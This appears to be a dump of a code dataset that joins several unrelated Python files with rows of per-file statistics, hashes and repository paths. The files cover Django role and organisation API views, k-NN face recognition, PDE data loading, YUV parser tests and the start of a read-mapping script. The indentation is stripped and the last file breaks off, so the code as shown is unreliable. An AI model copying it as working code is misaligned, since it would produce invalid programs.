user_data.append(construct_user_data(profile=profile))
return JsonResponse({"users": user_data})
class GetOrganisationsView(FormView):
"""
View that can be used by APIs to fetch all users of a portal.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(GetOrganisationsView, self).dispatch(request, *args, **kwargs)
@method_decorator(never_cache)
def post(self, request, *args, **kwargs):
return super(GetOrganisationsView, self).post(request, *args, **kwargs)
def form_valid(self, form):
return JsonResponse(self.get_organisations(form.portal))
def form_invalid(self, form):
logger.error("Error while decrypting form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
def get_organisations(self, portal):
return {
"organisations": [
organisation.as_dict()
for organisation in models.Organisation.objects.all()
]
}
class RolesView(FormView):
"""
View that can be used to respond with serialized Roles.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(RolesView, self).dispatch(request, *args, **kwargs)
def form_valid(self, form):
return JsonResponse(self.get_roles(form.portal))
def form_invalid(self, form):
logger.error("Error while decrypting roles form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
def get_roles(self, portal):
return {
"roles": [
role.as_dict() for role in models.Role.objects.filter(portal=portal)
]
}
class UserOrganisationRolesView(FormView):
"""
View that can be used to respond with serialized UserOrganisationRoles.
"""
form_class = forms.DecryptForm
@method_decorator(csrf_exempt)
def dispatch(self, request, *args, **kwargs):
return super(UserOrganisationRolesView, self).dispatch(request, *args, **kwargs)
def form_valid(self, form):
portal = form.portal
username = form.cleaned_data.get("username")
if username:
return JsonResponse(self.get_user_organisation_roles(portal, username))
else:
return JsonError('Missing "username" POST parameter.')
def form_invalid(self, form):
logger.error("Error while decrypting roles form: %s", form.errors.as_text())
return HttpResponseBadRequest("Bad signature")
def get_user_organisation_roles(self, portal, username):
"""
Return the serialized model instances.
"""
user_profile = get_object_or_404(models.UserProfile, user__username=username)
return {
"user_organisation_roles_data": [
uor.as_dict() for uor in user_profile.all_organisation_roles(portal)
]
}
| 34.157459
| 88
| 0.619895
| 1,335
| 12,365
| 5.61573
| 0.12809
| 0.039616
| 0.061224
| 0.042017
| 0.778578
| 0.771642
| 0.75897
| 0.736161
| 0.727624
| 0.712685
| 0
| 0.001463
| 0.28144
| 12,365
| 361
| 89
| 34.252078
| 0.842319
| 0.055641
| 0
| 0.665306
| 0
| 0
| 0.102444
| 0.002563
| 0
| 0
| 0
| 0
| 0
| 1
| 0.146939
| false
| 0.073469
| 0.069388
| 0.081633
| 0.485714
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 6
|
37832b3e73a3242cb9e73840ccdaa64e7234eb27
| 37
|
py
|
Python
|
simclr/modules/transformations/__init__.py
|
martinmamql/SimCLR-2
|
60fb488a1914ec97af2bd01c85a9ec64e804db1e
|
[
"MIT"
] | 496
|
2020-03-10T11:29:19.000Z
|
2022-03-30T04:52:08.000Z
|
simclr/modules/transformations/__init__.py
|
martinmamql/SimCLR-2
|
60fb488a1914ec97af2bd01c85a9ec64e804db1e
|
[
"MIT"
] | 34
|
2020-03-12T15:03:02.000Z
|
2022-01-10T18:46:05.000Z
|
simclr/modules/transformations/__init__.py
|
martinmamql/SimCLR-2
|
60fb488a1914ec97af2bd01c85a9ec64e804db1e
|
[
"MIT"
] | 125
|
2020-03-11T21:50:37.000Z
|
2022-03-16T08:24:58.000Z
|
from .simclr import TransformsSimCLR
| 18.5
| 36
| 0.864865
| 4
| 37
| 8
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.108108
| 37
| 1
| 37
| 37
| 0.969697
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
80a88e5e9ecb5d15095f3dd23e117c386a2556aa
| 30
|
py
|
Python
|
UNUSED - DON'T CHECK/mySQLImportTest.py
|
jamesxu123/ICS3U-FSE
|
7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3
|
[
"MIT"
] | null | null | null |
UNUSED - DON'T CHECK/mySQLImportTest.py
|
jamesxu123/ICS3U-FSE
|
7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3
|
[
"MIT"
] | 1
|
2018-06-11T14:12:00.000Z
|
2018-06-11T14:12:00.000Z
|
UNUSED - DON'T CHECK/mySQLImportTest.py
|
jamesxu123/ICS3U-FSE
|
7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3
|
[
"MIT"
] | 1
|
2018-08-26T22:31:59.000Z
|
2018-08-26T22:31:59.000Z
|
import mysqlTest
print('yay')
| 10
| 16
| 0.766667
| 4
| 30
| 5.75
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.1
| 30
| 2
| 17
| 15
| 0.851852
| 0
| 0
| 0
| 0
| 0
| 0.1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 6
|
80cd34d4c3de75f8809daa825ae704111f692f54
| 36
|
py
|
Python
|
invMLEnc_toy/loss/__init__.py
|
Lupin1998/inv-ML
|
9f3db461911748292dff18024587538eb66d44bf
|
[
"MIT"
] | 1
|
2021-12-14T09:16:17.000Z
|
2021-12-14T09:16:17.000Z
|
invMLEnc_toy/loss/__init__.py
|
Lupin1998/inv-ML
|
9f3db461911748292dff18024587538eb66d44bf
|
[
"MIT"
] | null | null | null |
invMLEnc_toy/loss/__init__.py
|
Lupin1998/inv-ML
|
9f3db461911748292dff18024587538eb66d44bf
|
[
"MIT"
] | 2
|
2021-12-14T09:10:00.000Z
|
2022-01-21T16:57:44.000Z
|
# Loss for AE, VAE, ML-AE, Inv-ML-AE
| 36
| 36
| 0.638889
| 9
| 36
| 2.555556
| 0.666667
| 0.347826
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.166667
| 36
| 1
| 36
| 36
| 0.766667
| 0.944444
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
03931adf4192a67a2e5bf6d1a7a219b56c9a984e
| 5,893
|
py
|
Python
|
src/prediction_knn.py
|
pedrohenriquebr/web-face-recognition
|
5a1fac7ce6e4186bca33f7e0ead2de42670786e0
|
[
"MIT"
] | 1
|
2020-09-14T03:46:12.000Z
|
2020-09-14T03:46:12.000Z
|
src/prediction_knn.py
|
pedrohenriquebr/web-face-recognition
|
5a1fac7ce6e4186bca33f7e0ead2de42670786e0
|
[
"MIT"
] | 13
|
2019-01-21T22:11:33.000Z
|
2019-08-18T18:47:26.000Z
|
src/prediction_knn.py
|
pedrohenriquebr/web-face-recognition
|
5a1fac7ce6e4186bca33f7e0ead2de42670786e0
|
[
"MIT"
] | null | null | null |
import math
from sklearn import neighbors
import os
from os import environ
import os.path
import pickle
import face_recognition
from face_recognition.face_recognition_cli import image_files_in_folder
import sys
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg'}
THRESHOLD = os.getenv('THRESHOLD', 'TRUE')
def predict_frame(X_img_frame, knn_clf=None, model_path=None, distance_threshold=0.6, model='hog'):
"""
Recognizes faces in given image using a trained KNN classifier
:param X_img_frame: Numpy array image
:param knn_clf: (optional) a knn classifier object. if not specified, model_save_path must be specified.
:param model_path: (optional) path to a pickled knn classifier. if not specified, model_save_path must be knn_clf.
:param distance_threshold: (optional) distance threshold for face classification. the larger it is, the more chance
of mis-classifying an unknown person as a known one.
:return: a list of names and face locations for the recognized faces in the image: [(name, bounding box), ...].
For faces of unrecognized persons, the name 'unknown' will be returned.
"""
if knn_clf is None and model_path is None:
raise Exception(
"Must supply knn classifier either thourgh knn_clf or model_path")
# Load a trained KNN model (if one was passed in)
if knn_clf is None:
with open(model_path, 'rb') as f:
knn_clf = pickle.load(f)
# Load image file and find face locations
X_face_locations = face_recognition.face_locations(
X_img_frame, model=model)
# If no faces are found in the image, return an empty result.
if len(X_face_locations) == 0:
return []
# Find encodings for faces in the test iamge
faces_encodings = face_recognition.face_encodings(
X_img_frame, known_face_locations=X_face_locations)
# Use the KNN model to find the best matches for the test face
closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=1)
if THRESHOLD == 'TRUE':
are_matches = [closest_distances[0][i][0] <=
distance_threshold for i in range(len(X_face_locations))]
elif THRESHOLD == 'FALSE':
are_matches = [closest_distances[0][i][0]
for i in range(len(X_face_locations))]
# Predict classes and remove classifications that aren't within the threshold
result = []
if THRESHOLD == 'TRUE':
result = [(pred, loc) if rec else (os.getenv('UNKNOWN_LABEL', 'unknown'), loc)
for pred, loc, rec in zip(knn_clf.predict(faces_encodings), X_face_locations, are_matches)]
elif THRESHOLD == 'FALSE':
result = [(pred, loc) for pred, loc, rec in zip(
knn_clf.predict(faces_encodings), X_face_locations, are_matches)]
return result
def predict(X_img_path, knn_clf=None, model_path=None, distance_threshold=0.6, model='hog'):
"""
Recognizes faces in given image using a trained KNN classifier
:param X_img_path: path to image to be recognized
:param knn_clf: (optional) a knn classifier object. if not specified, model_save_path must be specified.
:param model_path: (optional) path to a pickled knn classifier. if not specified, model_save_path must be knn_clf.
:param distance_threshold: (optional) distance threshold for face classification. the larger it is, the more chance
of mis-classifying an unknown person as a known one.
:return: a list of names and face locations for the recognized faces in the image: [(name, bounding box), ...].
For faces of unrecognized persons, the name 'unknown' will be returned.
"""
if not os.path.isfile(X_img_path):
raise Exception("Invalid image path: {}".format(X_img_path))
if knn_clf is None and model_path is None:
raise Exception(
"Must supply knn classifier either thourgh knn_clf or model_path")
# Load a trained KNN model (if one was passed in)
if knn_clf is None:
with open(model_path, 'rb') as f:
knn_clf = pickle.load(f)
# Load image file and find face locations
X_img = face_recognition.load_image_file(X_img_path)
X_face_locations = face_recognition.face_locations(X_img, model=model)
# If no faces are found in the image, return an empty result.
if len(X_face_locations) == 0:
return []
# Find encodings for faces in the test iamge
faces_encodings = face_recognition.face_encodings(
X_img, known_face_locations=X_face_locations)
# Use the KNN model to find the best matches for the test face
closest_distances = knn_clf.kneighbors(faces_encodings, n_neighbors=1)
if THRESHOLD == 'TRUE':
are_matches = [closest_distances[0][i][0] <=
distance_threshold for i in range(len(X_face_locations))]
elif THRESHOLD == 'FALSE':
are_matches = [closest_distances[0][i][0]
for i in range(len(X_face_locations))]
# Predict classes and remove classifications that aren't within the threshold
result = []
if THRESHOLD == 'TRUE':
result = [(pred, loc) if rec else (os.getenv('UNKNOWN_LABLE', 'unkown'), loc)
for pred, loc, rec in zip(knn_clf.predict(faces_encodings), X_face_locations, are_matches)]
elif THRESHOLD == 'FALSE':
result = [(pred, loc) for pred, loc, rec in zip(
knn_clf.predict(faces_encodings), X_face_locations, are_matches)]
return result
if __name__ == '__main__':
import settings
if len(sys.argv) != 2:
print('prediction_knn.py <img_path>')
exit(1)
img_path = sys.argv[1]
model_path = os.path.join(
os.getenv('MODELSET_DIR'), os.getenv('KNN_MODEL'))
X_img = face_recognition.load_image_file(img_path)
print(predict_frame(X_img_frame=X_img, model_path=model_path))
| 42.092857
| 119
| 0.686408
| 859
| 5,893
| 4.513388
| 0.178114
| 0.073768
| 0.050555
| 0.026309
| 0.84911
| 0.838277
| 0.838277
| 0.822027
| 0.822027
| 0.798556
| 0
| 0.004179
| 0.228407
| 5,893
| 139
| 120
| 42.395683
| 0.848472
| 0.348889
| 0
| 0.582278
| 0
| 0
| 0.083735
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.025316
| false
| 0
| 0.126582
| 0
| 0.202532
| 0.025316
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
0396a6b05dfc7e436c9b8b5a48d97d3c46c80580
| 4,822
|
py
|
Python
|
utils/load.py
|
KyleDavisSA/pde-surrogate
|
41ad2c9eb73c323e389174080f4b3df6cbd3c900
|
[
"MIT"
] | null | null | null |
utils/load.py
|
KyleDavisSA/pde-surrogate
|
41ad2c9eb73c323e389174080f4b3df6cbd3c900
|
[
"MIT"
] | null | null | null |
utils/load.py
|
KyleDavisSA/pde-surrogate
|
41ad2c9eb73c323e389174080f4b3df6cbd3c900
|
[
"MIT"
] | null | null | null |
"""
Load args and model from a directory
"""
import torch
from torch.utils.data import DataLoader, TensorDataset
from argparse import Namespace
import h5py
import json
import meshio
import numpy as np
def load_args(run_dir):
with open(run_dir + '/args.txt') as args_file:
args = Namespace(**json.load(args_file))
# pprint(args)
return args
def load_data(hdf5_file, ndata, batch_size, only_input=True, return_stats=False):
with h5py.File(hdf5_file, 'r') as f:
x_data = f['input'][:ndata]
print(f'x_data: {x_data.shape}')
#print(f'x_data: {x_data}')
if not only_input:
y_data = f['output'][:ndata]
print(f'y_data: {y_data.shape}')
#print(f'y_data: {y_data}')
stats = {}
if return_stats:
y_variation = ((y_data - y_data.mean(0, keepdims=True)) ** 2).sum(
axis=(0, 2, 3))
stats['y_variation'] = y_variation
data_tuple = (torch.FloatTensor(x_data), ) if only_input else (
torch.FloatTensor(x_data), torch.FloatTensor(y_data))
data_loader = DataLoader(TensorDataset(*data_tuple),
batch_size=batch_size, shuffle=True, drop_last=True)
print(f'Loaded dataset: {hdf5_file}')
return data_loader, stats
def load_data_vtk_train(hdf5_file, imsize, input_channels, ndata, batch_size, only_input=True, return_stats=False):
'''
with h5py.File(hdf5_file, 'r') as f:
x_data = f['input'][:ndata]
print(f'x_data: {x_data.shape}')
#print(f'x_data: {x_data}')
if not only_input:
y_data = f['output'][:ndata]
print(f'y_data: {y_data.shape}')
#print(f'y_data: {y_data}')
'''
if (input_channels == 2):
x_data = np.zeros((ndata,2,imsize,imsize))
if (input_channels == 3):
x_data = np.zeros((ndata,3,imsize,imsize))
y_data = np.zeros((ndata,1,imsize,imsize))
for i in range(0,ndata):
mesh = meshio.read("training/pflotran-vel-" + str(i) + ".vtk")
data = meshio.read("training/pflotran-" + str(i) +".vtk")
for k in range(0,imsize):
for j in range(0,imsize):
x_data[i,0,k,j] = mesh.cell_data["Vlx"][0][j + k*imsize]
x_data[i,1,k,j] = mesh.cell_data["Vly"][0][j + k*imsize]
if (input_channels == 3):
x_data[i,2,k,j] = data.cell_data["Temperature"][0][j + k*imsize] - 10
y_data[i,0,k,j] = data.cell_data["Temperature"][0][j + k*imsize] - 10
#x_data[i,2,32,20] = 5
stats = {}
if return_stats:
y_variation = ((y_data - y_data.mean(0, keepdims=True)) ** 2).sum(
axis=(0, 2, 3))
stats['y_variation'] = y_variation
data_tuple = (torch.FloatTensor(x_data), torch.FloatTensor(y_data))
data_loader = DataLoader(TensorDataset(*data_tuple),
batch_size=batch_size, shuffle=True, drop_last=False)
print(f'Loaded dataset: {hdf5_file}')
return data_loader, stats, x_data, y_data
def load_data_vtk_test(hdf5_file, imsize, input_channels, ndata, batch_size, only_input=True, return_stats=False):
'''
with h5py.File(hdf5_file, 'r') as f:
x_data = f['input'][:ndata]
print(f'x_data: {x_data.shape}')
#print(f'x_data: {x_data}')
if not only_input:
y_data = f['output'][:ndata]
print(f'y_data: {y_data.shape}')
#print(f'y_data: {y_data}')
'''
if (input_channels == 2):
x_data = np.zeros((ndata,2,imsize,imsize))
if (input_channels == 3):
x_data = np.zeros((ndata,3,imsize,imsize))
y_data = np.zeros((ndata,1,imsize,imsize))
for i in range(0,ndata):
mesh = meshio.read("testing/pflotran-vel-" + str(i) + ".vtk")
data = meshio.read("testing/pflotran-" + str(i) +".vtk")
for k in range(0,imsize):
for j in range(0,imsize):
x_data[i,0,k,j] = mesh.cell_data["Vlx"][0][j + k*imsize]
x_data[i,1,k,j] = mesh.cell_data["Vly"][0][j + k*imsize]
if (input_channels == 3):
x_data[i,2,k,j] = data.cell_data["Temperature"][0][j + k*imsize] - 10
y_data[i,0,k,j] = data.cell_data["Temperature"][0][j + k*imsize] - 10
#x_data[i,2,32,20] = 5
stats = {}
if return_stats:
y_variation = ((y_data - y_data.mean(0, keepdims=True)) ** 2).sum(
axis=(0, 2, 3))
stats['y_variation'] = y_variation
data_tuple = (torch.FloatTensor(x_data), ) if only_input else (
torch.FloatTensor(x_data), torch.FloatTensor(y_data))
data_loader = DataLoader(TensorDataset(*data_tuple),
batch_size=batch_size, shuffle=True, drop_last=False)
print(f'Loaded dataset: {hdf5_file}')
return data_loader, stats, x_data, y_data
| 38.576
| 115
| 0.592285
| 726
| 4,822
| 3.730028
| 0.128099
| 0.062777
| 0.036558
| 0.033235
| 0.871123
| 0.871123
| 0.871123
| 0.871123
| 0.847489
| 0.847489
| 0
| 0.022664
| 0.249689
| 4,822
| 124
| 116
| 38.887097
| 0.725815
| 0.15056
| 0
| 0.670732
| 0
| 0
| 0.082312
| 0.010758
| 0
| 0
| 0
| 0
| 0
| 1
| 0.04878
| false
| 0
| 0.085366
| 0
| 0.182927
| 0.060976
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
03a72e466e1226d0b6e3c163d098b311997359d4
| 149
|
py
|
Python
|
tubbs/formatter/scala/__init__.py
|
tek/tubbs
|
cd4c174c31b6c58a6935ca8a5f0f141377a9a04c
|
[
"MIT"
] | null | null | null |
tubbs/formatter/scala/__init__.py
|
tek/tubbs
|
cd4c174c31b6c58a6935ca8a5f0f141377a9a04c
|
[
"MIT"
] | null | null | null |
tubbs/formatter/scala/__init__.py
|
tek/tubbs
|
cd4c174c31b6c58a6935ca8a5f0f141377a9a04c
|
[
"MIT"
] | null | null | null |
from tubbs.formatter.scala.breaker import VimBreaker
from tubbs.formatter.scala.indenter import VimIndenter
__all__ = ('VimBreaker', 'VimIndenter')
| 29.8
| 54
| 0.818792
| 17
| 149
| 6.941176
| 0.588235
| 0.152542
| 0.305085
| 0.389831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.087248
| 149
| 4
| 55
| 37.25
| 0.867647
| 0
| 0
| 0
| 0
| 0
| 0.14094
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
03a8d439dddaf2665f37e662edaa92e5c9ecce9c
| 9,055
|
py
|
Python
|
tests/yuv_test.py
|
antmicro/raviewer
|
7529664d37e994d4c2f4c450a5577b79d73c4bb0
|
[
"Apache-2.0"
] | 12
|
2021-11-18T09:38:34.000Z
|
2022-03-24T19:33:44.000Z
|
tests/yuv_test.py
|
antmicro/raviewer
|
7529664d37e994d4c2f4c450a5577b79d73c4bb0
|
[
"Apache-2.0"
] | 1
|
2022-02-14T12:07:02.000Z
|
2022-03-21T19:29:11.000Z
|
tests/yuv_test.py
|
antmicro/raviewer
|
7529664d37e994d4c2f4c450a5577b79d73c4bb0
|
[
"Apache-2.0"
] | null | null | null |
import unittest
import numpy
import os
from unittest.mock import (Mock, patch)
from raviewer.parser.yuv import ParserYUV420, ParserYUV422, ParserYUV420Planar, ParserYUV422Planar
from enum import Enum
class DummyPixelFormat(Enum):
YUV = 1
YVU = 2
UYVY = 3
YUYV = 4
class DummyEndianness(Enum):
LITTLE_ENDIAN = 1
BIG_ENDIAN = 2
class DummyPixelPlane(Enum):
PACKED = 1
SEMIPLANAR = 2
PLANAR = 3
class TestYUVParserClass(unittest.TestCase):
def setUp(self):
#YUV420 Parser
self.Y420_FORMAT = Mock(pixel_format=DummyPixelFormat.YUV,
endianness=DummyEndianness.BIG_ENDIAN,
pixel_plane=DummyPixelPlane.SEMIPLANAR)
self.Y420_FORMAT.bits_per_components = (8, 8, 8, 0)
self.Y420_IMAGE = Mock(color_format=self.Y420_FORMAT,
width=2,
height=2)
self.Y420_IMAGE.processed_data = numpy.array([255, 255, 0, 0, 255, 0])
self.raw_data_Y420 = bytes((255, 255, 0, 0, 255, 0))
self.Y420_IMAGE.data_buffer = self.raw_data_Y420
self.parserY420 = ParserYUV420()
#YUV422 Parser
self.Y422_FORMAT = Mock(pixel_format=DummyPixelFormat.UYVY,
endianness=DummyEndianness.BIG_ENDIAN,
pixel_plane=DummyPixelPlane.PACKED)
self.Y422_FORMAT.bits_per_components = (8, 8, 8, 8)
self.Y422_IMAGE = Mock(color_format=self.Y422_FORMAT,
width=2,
height=2)
self.Y422_IMAGE.processed_data = numpy.array(
[255, 255, 0, 255, 0, 0, 255, 0])
self.raw_data_Y422 = bytes((255, 255, 0, 255, 0, 0, 255, 0))
self.Y422_IMAGE.data_buffer = self.raw_data_Y422
self.parserY422 = ParserYUV422()
@patch("raviewer.parser.common.Endianness", DummyEndianness)
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_parse_Y420(self):
parsed_img = self.parserY420.parse(self.raw_data_Y420,
self.Y420_FORMAT, 2)
self.assertEqual(parsed_img.data_buffer, self.Y420_IMAGE.data_buffer)
self.assertEqual(parsed_img.width, self.Y420_IMAGE.width)
self.assertEqual(parsed_img.height, self.Y420_IMAGE.height)
self.assertEqual(parsed_img.color_format, self.Y420_IMAGE.color_format)
self.assertTrue((
parsed_img.processed_data == self.Y420_IMAGE.processed_data).all())
@patch("raviewer.parser.common.Endianness", DummyEndianness)
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_parse_Y422(self):
parsed_img = self.parserY422.parse(self.raw_data_Y422,
self.Y422_FORMAT, 2)
self.assertEqual(parsed_img.data_buffer, self.Y422_IMAGE.data_buffer)
self.assertEqual(parsed_img.width, self.Y422_IMAGE.width)
self.assertEqual(parsed_img.height, self.Y422_IMAGE.height)
self.assertEqual(parsed_img.color_format, self.Y422_IMAGE.color_format)
self.assertTrue((
parsed_img.processed_data == self.Y422_IMAGE.processed_data).all())
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_get_displayable_Y420(self):
displayable = self.parserY420.get_displayable(self.Y420_IMAGE)
self.assertEqual(displayable.shape,
(self.Y420_IMAGE.height, self.Y420_IMAGE.width, 3))
self.assertTrue((displayable == numpy.array([[[74, 255, 255],
[74, 255, 255]],
[[0, 54, 255],
[0, 54, 255]]])).all())
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
@patch(
"raviewer.parser.yuv.ParserYUV422.yuv_442_offsets", {
DummyPixelFormat.UYVY: {
"Y": 1,
"U": 0,
"V": 2,
},
DummyPixelFormat.YUYV: {
"Y": 0,
"U": 1,
"V": 3,
},
})
def test_get_displayable_Y422(self):
displayable = self.parserY422.get_displayable(self.Y422_IMAGE)
self.assertEqual(displayable.shape,
(self.Y422_IMAGE.height, self.Y422_IMAGE.width, 3))
print(displayable)
self.assertTrue((displayable == numpy.array([[[109, 255, 255],
[109, 255, 255]],
[[145, 0, 0],
[145, 0, 0]]])).all())
class TestYUVPlanarParserClass(unittest.TestCase):
def setUp(self):
#YUV420 Parser
self.Y420_FORMAT = Mock(pixel_format=DummyPixelFormat.YUV,
endianness=DummyEndianness.BIG_ENDIAN,
pixel_plane=DummyPixelPlane.PLANAR)
self.Y420_FORMAT.bits_per_components = (8, 8, 8, 0)
self.Y420_IMAGE = Mock(color_format=self.Y420_FORMAT,
width=2,
height=2)
self.Y420_IMAGE.processed_data = numpy.array([255, 255, 0, 0, 255, 0])
self.raw_data_Y420 = bytes((255, 255, 0, 0, 255, 0))
self.Y420_IMAGE.data_buffer = self.raw_data_Y420
self.parserY420 = ParserYUV420Planar()
#YUV422 Parser
self.Y422_FORMAT = Mock(pixel_format=DummyPixelFormat.YUV,
endianness=DummyEndianness.BIG_ENDIAN,
pixel_plane=DummyPixelPlane.PLANAR)
self.Y422_FORMAT.bits_per_components = (8, 8, 8, 0)
self.Y422_IMAGE = Mock(color_format=self.Y422_FORMAT,
width=2,
height=2)
self.Y422_IMAGE.processed_data = numpy.array(
[255, 255, 0, 0, 255, 0, 0, 255])
self.raw_data_Y422 = bytes((255, 255, 0, 0, 255, 0, 0, 255))
self.Y422_IMAGE.data_buffer = self.raw_data_Y422
self.parserY422 = ParserYUV422Planar()
@patch("raviewer.parser.common.Endianness", DummyEndianness)
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_parse_Y420(self):
parsed_img = self.parserY420.parse(self.raw_data_Y420,
self.Y420_FORMAT, 2)
self.assertEqual(parsed_img.data_buffer, self.Y420_IMAGE.data_buffer)
self.assertEqual(parsed_img.width, self.Y420_IMAGE.width)
self.assertEqual(parsed_img.height, self.Y420_IMAGE.height)
self.assertEqual(parsed_img.color_format, self.Y420_IMAGE.color_format)
self.assertTrue((
parsed_img.processed_data == self.Y420_IMAGE.processed_data).all())
@patch("raviewer.parser.common.Endianness", DummyEndianness)
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_parse_Y422(self):
parsed_img = self.parserY422.parse(self.raw_data_Y422,
self.Y422_FORMAT, 2)
self.assertEqual(parsed_img.data_buffer, self.Y422_IMAGE.data_buffer)
self.assertEqual(parsed_img.width, self.Y422_IMAGE.width)
self.assertEqual(parsed_img.height, self.Y422_IMAGE.height)
self.assertEqual(parsed_img.color_format, self.Y422_IMAGE.color_format)
self.assertTrue((
parsed_img.processed_data == self.Y422_IMAGE.processed_data).all())
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_get_displayable_Y420(self):
displayable = self.parserY420.get_displayable(self.Y420_IMAGE,
self.Y420_IMAGE.height)
self.assertEqual(displayable.shape,
(self.Y420_IMAGE.height, self.Y420_IMAGE.width, 3))
print(displayable)
self.assertTrue((displayable == numpy.array([[[74, 255, 255],
[74, 255, 255]],
[[0, 54, 255],
[0, 54, 255]]])).all())
@patch("raviewer.parser.yuv.PixelFormat", DummyPixelFormat)
def test_get_displayable_Y422(self):
displayable = self.parserY422.get_displayable(self.Y422_IMAGE,
self.Y422_IMAGE.height)
self.assertEqual(displayable.shape,
(self.Y422_IMAGE.height, self.Y422_IMAGE.width, 3))
print(displayable)
self.assertTrue((displayable == numpy.array([[[109, 255, 255],
[109, 255, 255]],
[[145, 0, 0],
[145, 0, 0]]])).all())
if __name__ == "__main__":
unittest.main()
| 42.313084
| 98
| 0.570955
| 959
| 9,055
| 5.180396
| 0.092805
| 0.049919
| 0.060185
| 0.077295
| 0.886876
| 0.886876
| 0.885266
| 0.868961
| 0.86252
| 0.823269
| 0
| 0.097589
| 0.32667
| 9,055
| 213
| 99
| 42.511737
| 0.717238
| 0.005743
| 0
| 0.672619
| 0
| 0
| 0.049117
| 0.047561
| 0
| 0
| 0
| 0
| 0.166667
| 1
| 0.059524
| false
| 0
| 0.035714
| 0
| 0.178571
| 0.017857
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| null | 0
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| 0
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| 0
| 0
|
0
| 6
|
207ca71d5a53e255c1c332a5b53aede5e33b9205
| 17,727
|
py
|
Python
|
scripts/mapping4SNP_v2.0_multipleMaps.py
|
PerisD/Sac2.0
|
274aeca4f6298b2d1d816e5640bf3f67bb5dd729
|
[
"CC0-1.0"
] | null | null | null |
scripts/mapping4SNP_v2.0_multipleMaps.py
|
PerisD/Sac2.0
|
274aeca4f6298b2d1d816e5640bf3f67bb5dd729
|
[
"CC0-1.0"
] | null | null | null |
scripts/mapping4SNP_v2.0_multipleMaps.py
|
PerisD/Sac2.0
|
274aeca4f6298b2d1d816e5640bf3f67bb5dd729
|
[
"CC0-1.0"
] | null | null | null |
__author__ = 'Peris'
#!/usr/bin/env python
#coding: utf-8
import argparse
from subprocess import call
import os
import shutil
import glob
from Bio import SeqIO
helptext="""
This script is to map reads to a reference assembly to generate an alignment for population genomics.
The output requires to convert N sites to - for posterior analysis using sed --i 's/N/-/g
